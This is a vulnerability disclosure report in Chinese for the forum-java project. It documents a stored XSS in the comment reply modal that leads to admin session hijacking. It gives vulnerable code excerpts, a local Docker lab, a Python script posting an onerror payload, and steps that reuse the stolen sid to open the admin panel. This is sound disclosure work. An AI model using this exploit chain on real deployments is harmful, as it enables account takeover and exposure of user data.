forum-java 漏洞报告
软件名称:forum-java
开发者或厂商:Qbian61
代码仓库:https://github.com/Qbian61/forum-java
1. 评论回复弹窗存储型XSS
| 简要描述: | 攻击者发布一条包含 XSS payload 的评论,受害者点击该评论的「回复」时脚本执行,攻击者接管受害者账号。 |
|---|---|
| 影响版本: | 20f7e68 ~ 63152c49 |
| 漏洞引入: | forum-java commit 20f7e68f |
| 前置条件: | 攻击者有普通权限账号。 |
漏洞成因
评论内容在写入和读取时都不做 HTML 清洗。CommentManager.create 调用 CommentTransfer.toComment,把请求体里的 content 原样存进 forum_comment 表:
// forum-app/src/main/java/pub/developers/forum/app/transfer/CommentTransfer.java:19-26 commit 63152c49c7
public static Comment toComment(CommentCreateRequest request, User user) {
return Comment.builder()
.content(request.getContent())
.postsId(request.getPostsId())
.replyId(request.getReplyId())
.userId(user.getId())
.build();
}
文章详情页把评论内容写进 data-reply-content 属性:
<!-- forum-portal/src/main/resources/templates/include/comment-list.html:56-60 commit 63152c49c7 -->
<small th:data-target="${isLogin ? '#commentModal' : '#loginModal'}"
data-toggle="modal"
th:data-reply-id="${comment.id}"
th:data-reply-nickname="${comment.commentator.nickname}"
th:data-reply-content="${comment.content}"
class="text-muted reply-comment"
style="float: right;">
Thymeleaf 对属性值只做 HTML 转义,浏览器解析 data-* 属性时把实体还原,dataset.replyContent 于是得到攻击者提交的 HTML。点击「回复」时,posts-script.html 把这个值交给 jQuery.html():
// forum-portal/src/main/resources/templates/include/posts-script.html:30-34 commit 63152c49c7
$('.reply-comment').on('click', function (e) {
$('#commentModalDropLabel').html('回复 ' + this.dataset.replyNickname);
$('#repliedContent').html(this.dataset.replyContent);
replyContent.attr('placeholder', '回复' + this.dataset.replyNickname);
replyBtn.attr('data-reply-id', this.dataset.replyId);
});
jQuery.html() 按 HTML 解析字符串,评论里的 <img src=x onerror=...> 在弹窗打开时执行。脚本以站点自身的源运行,可以读取页面的 Cookie。登录成功后服务端下发的 sid Cookie 只有 Path=/,没有 HttpOnly,脚本可以直接读取。评论提交后立即可见,不需要审核。
复现环境搭建
官方仓库未提供 compose 文件,这里用 Maven 镜像构建 jar,再与 MySQL 一起运行。构建命令如下:
git clone https://github.com/Qbian61/forum-java.git
cd forum-java
docker run --rm -v "$PWD":/src -w /src maven:3.8-jdk-8 mvn -B -DskipTests package
把仓库里的 forum-starter/src/main/resources/schema.sql、data.sql 复制到 mysql-init/01-schema.sql、mysql-init/02-data.sql。MySQL 8.0 导入 data.sql 时不会按 UTF-8 解析文件内容,需要在 02-data.sql 第一行加上 SET NAMES utf8mb4;,否则页面上的中文会乱码。
再补一条 SQL,把内置管理员账号的密码设为 Admin@12345,便于演示会话劫持:
-- mysql-init/03-admin.sql
UPDATE `forum_user` SET `password` = '14ab33f6d1cb88c0d2e563da939f0303' WHERE `id` = 1;
在仓库根目录编写 docker-compose.yml:
services:
db:
image: mysql:8.0
command: --character-set-server=utf8mb4 --collation-server=utf8mb4_unicode_ci
environment:
MYSQL_ROOT_PASSWORD: forumroot
MYSQL_DATABASE: forum-java
volumes:
- ./mysql-init:/docker-entrypoint-initdb.d:ro
healthcheck:
test: ["CMD", "mysqladmin", "ping", "-h", "127.0.0.1", "-uroot", "-pforumroot"]
interval: 5s
timeout: 5s
retries: 40
app:
image: eclipse-temurin:8-jre
depends_on:
db:
condition: service_healthy
environment:
SPRING_DATASOURCE_URL: jdbc:mysql://db:3306/forum-java?useUnicode=true&characterEncoding=UTF-8&useSSL=false&useAffectedRows=true&allowPublicKeyRetrieval=true
SPRING_DATASOURCE_USERNAME: root
SPRING_DATASOURCE_PASSWORD: forumroot
ports:
- "18080:8080"
volumes:
- ./forum-starter/target/forum-java.jar:/app/app.jar:ro
command: ["java", "-Dfile.encoding=UTF-8", "-jar", "/app/app.jar"]
启动环境:
docker compose up -d
下文以 http://127.0.0.1:18080 访问站点,以 192.0.2.10 表示宿主机的地址。管理后台的 SPA 在页面地址包含 127.0.0.1 或 localhost 时把 axios 的 baseURL 固定为 http://localhost:8080,因此访问管理后台时改用 http://192.0.2.10:18080/admin/user-manager,baseURL 才会保持相对路径。
复现过程
注册攻击者账号 attacker@example.com,发布一篇文章,并在文章下提交评论:
import time
import httpx
BASE = "http://127.0.0.1:18080"
c = httpx.Client(base_url=BASE, timeout=20)
r = c.post("/user-rest/register", json={
"email": "attacker@example.com", "nickname": "attacker", "password": "Attacker@12345"})
print(r.status_code, r.text)
r = c.post("/article-rest/save", json={
"typeId": 3, "title": "XSS demo", "contentType": "MARKDOWN",
"markdownContent": "hello", "htmlContent": "<p>hello</p>", "headImg": "", "tagIds": [188]})
print(r.status_code, r.text)
article_id = r.json()["data"]
time.sleep(3)
payload = '<img src=x onerror="document.getElementById(\'repliedContent\').textContent=document.cookie">'
r = c.post("/comment-rest/create", json={"postsId": article_id, "content": payload})
print(r.status_code, r.text)
print(f"article: {BASE}/article/{article_id}")
脚本中的 time.sleep(3) 用于等待 PostsAuditTask 把新文章从待审状态改为审核通过。
输出如下:
200 {"code":200,"message":"success","success":true,"data":"479c1e1d31ed4df8b0e7e7b6f3b932c3"}
200 {"code":200,"message":"success","success":true,"data":1}
200 {"code":200,"message":"success","success":true,"data":null}
article: http://127.0.0.1:18080/article/1
用管理员账号 admin@developers.pub、密码 Admin@12345 在页面右上角登录,打开 http://127.0.0.1:18080/article/1。评论区显示了这条评论:

点击该评论右下角的「回复」,弹窗把评论内容当 HTML 渲染,payload 随即执行,把管理员的 Cookie 写进弹窗正文:

弹窗中的 sid 即管理员会话,值为 c467357de8704451b7bbaaba1edca320。用它调用用户管理接口:
import httpx
sid = "c467357de8704451b7bbaaba1edca320"
c = httpx.Client(base_url="http://127.0.0.1:18080", cookies={"sid": sid})
r = c.post("/admin-rest/user/page", json={"pageNo": 1, "pageSize": 20, "filter": {}})
print(r.text)
输出如下:
{"code":200,"message":"success","success":true,"data":{"list":[{"id":3,"email":"attacker@example.com","role":"用户","nickname":"attacker","sex":"未知","state":"未激活","avatar":"https://sdn.geekzu.org/avatar/dec4ff5dcb1fff0affb8e35deb20e25f?d=retro","signature":"","createAt":"2026-11-14 14:14:30","updateAt":"2026-11-14 14:14:29"},{"id":1,"email":"admin@developers.pub","role":"管理员","nickname":"管理员-0","sex":"未知","state":"启用","avatar":"https://sdn.geekzu.org/avatar/1a3bb2d10df88c92716c83875d1e81ee?d=retro","signature":"开发者客栈管理员","createAt":"2020-10-01 08:00:01","updateAt":"2026-11-14 14:14:52"},{"id":2,"email":"superadmin@developers.pub","role":"超级管理员","nickname":"开发者客栈","sex":"未知","state":"启用","avatar":"https://sdn.geekzu.org/avatar/f0144b36290972dc34825f2d2e3f97c5?d=retro","signature":"开发者客栈官方超级管理员","createAt":"2020-10-01 08:00:01","updateAt":"2020-10-01 08:00:01"}],"total":3,"size":3}}
在没有登录过的浏览器中打开 http://192.0.2.10:18080,用控制台写入该 sid,再打开 http://192.0.2.10:18080/admin/user-manager:
document.cookie = 'sid=c467357de8704451b7bbaaba1edca320; path=/';
localStorage.setItem('token', 'c467357de8704451b7bbaaba1edca320');
管理后台正常加载,用户列表包含全站账号的邮箱与角色:
